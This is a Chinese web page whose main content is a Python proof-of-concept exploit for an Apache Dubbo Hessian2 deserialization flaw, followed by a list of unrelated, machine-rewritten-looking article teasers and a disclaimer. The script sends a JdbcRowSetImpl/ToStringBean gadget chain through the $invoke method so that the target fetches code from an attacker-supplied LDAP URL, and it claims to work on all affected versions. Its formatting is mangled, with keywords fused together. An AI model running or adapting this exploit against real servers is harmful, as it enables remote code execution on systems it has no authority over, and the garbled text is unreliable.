Apache Dubbo反序列化漏洞
# -*- coding: utf-8 -*-importsys
fromdubbo.codec.hessian2 importDecoder,new_object
fromdubbo.client importDubboClient
iflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('
Example:
- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl
)resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等，通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')
相关文章
【对立蠕虫】怎么维护网页里的按钮，不被 XSS 主动点击
前语 XSS 主动点按钮有什么损害？ 在交际网络里，大多操作都是经过点击按钮建议的。例如宣布留言，假设留言体系有 BUG，那么 XSS 就能主动点击发送按钮，发布带有恶意代码的留言。老友看了中招后，又...
怎样查看对方删除的手机短信内容吗
很多家长在孩子的成长方面很容易忽略小孩的身体各个部位的运动发展，特别是对于年幼的小孩来说手部手指的运动发展是非常重要的，很多说小孩要做的是精细运动，下面友谊长存的小编就带来：怎么让孩子掌握精细动作 宝...
正味鸡排加盟前景怎么样？为你带来行业新惊喜
此刻餐饮市场中小吃可以说是成长的很是的好，它精采的成长前景就吸引了浩瀚投资商的存眷，正味鸡排加盟已经在市场中成长多年，履历富厚，品牌成熟，而且正味鸡排加盟总部也会提供全方位的支持和指导，尚有优惠的加盟...
世界最穷总统（种田补贴生活，资产仅1800）
全球很穷美国总统（种地补助日常生活，财产仅1800）从古至今，做为一国的执政者，我国领袖或高层住宅一般都有着官衔系统软件中较高的收益，最显著的莫过封建社会的皇上，一句“四海之内莫非王土”道出了古时候皇...
国家卫健委：新增确诊病例99例 其中97例为境外输入
4月11日0—24时，31个省（自治区、直辖市）和新疆生产建设兵团报告新增确诊病例99例，其中97例为境外输入病例，2例为本土病例（黑龙江2例）；无新增死亡病例；新增疑似病例49例，均为境外输入病例（...
上岸手机游戏“天天爱西游”，100%获得迅雷会员
谢谢网友“twist*96”分享，原帖地址，更多网络福利分享，请接见本站论坛。 迅雷2014年的首款卡牌游戏，安卓客户端巨细约37M， 首次上岸送7天会员，延续上岸三天送30天白金会员。 游戏么...
Copyright Your WebSite.Some Rights Reserved.
免责声明:本站所发布的任何网站，全部来源于互联网，版权争议与本站无关。仅供技术交流，如有侵权或不合适，请联系本人进行删除。不允许做任何非法用途！